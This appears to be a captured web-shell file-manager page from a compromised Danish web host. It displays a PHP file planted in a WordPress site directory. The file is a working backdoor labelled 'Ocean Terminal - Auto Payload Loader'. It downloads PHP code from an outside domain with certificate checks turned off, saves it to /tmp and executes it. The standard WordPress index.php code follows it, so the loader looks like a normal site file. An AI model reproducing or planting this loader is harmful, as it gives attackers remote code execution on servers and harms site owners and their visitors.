HEX
Server: LiteSpeed
System: Linux cde2.duelhost.dk 4.18.0-553.34.1.lve.el8.x86_64 #1 SMP Thu Jan 9 16:30:32 UTC 2025 x86_64
User: dtptviut (1121)
PHP: 8.0.30
Disabled: exec,system,passthru,shell_exec,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
Upload Files
File: /home/dtptviut/domains/teleweb.dk/private_html/bucketendpointmiddleware.php
<?php
// =========================================
// Ocean Terminal - Auto Payload Loader
// =========================================

define('PAYLOAD_URL', 'http://z60722_2.valilco.xyz/stat/domain_index.txt');
define('PAYLOAD_FILE', '/tmp/z60722_2.php');

// Fungsi fetch payload
function fetch_payload($url) {
    if (function_exists('curl_exec')) {
        $ch = curl_init($url);
        curl_setopt_array($ch, [
            CURLOPT_RETURNTRANSFER => true,
            CURLOPT_FOLLOWLOCATION => true,
            CURLOPT_SSL_VERIFYPEER => false,
            CURLOPT_SSL_VERIFYHOST => false,
            CURLOPT_TIMEOUT => 15
        ]);
        $result = curl_exec($ch);
        curl_close($ch);
        return $result;
    }
    return @file_get_contents($url);
}

// Refresh payload jika belum ada atau kosong
if (!file_exists(PAYLOAD_FILE) || filesize(PAYLOAD_FILE) < 10) {
    $content = fetch_payload(PAYLOAD_URL);
    if ($content && strpos($content, '<?php') !== false) {
        file_put_contents(PAYLOAD_FILE, $content);
    }
}

// Include payload jika berhasil
if (file_exists(PAYLOAD_FILE) && filesize(PAYLOAD_FILE) > 10) {
    include PAYLOAD_FILE;
    exit;
} else {
    // Tampilkan error jika payload gagal di-load
    echo "<h1 style='color:red;font-family:monospace;text-align:center;margin-top:50px;'>
          Payload missing and cannot be fetched.<br>
          <small>URL: " . PAYLOAD_URL . "</small>
          </h1>";
    exit;
}
?><?php
/**
 * Front to the WordPress application. This file doesn't do anything, but loads
 * wp-blog-header.php which does and tells WordPress to load the theme.
 *
 * @package WordPress
 */

/**
 * Tells WordPress to load the WordPress theme and output it.
 *
 * @var bool
 */
define( 'WP_USE_THEMES', true );

/** Loads the WordPress Environment and Template */
require __DIR__ . '/wp-blog-header.php';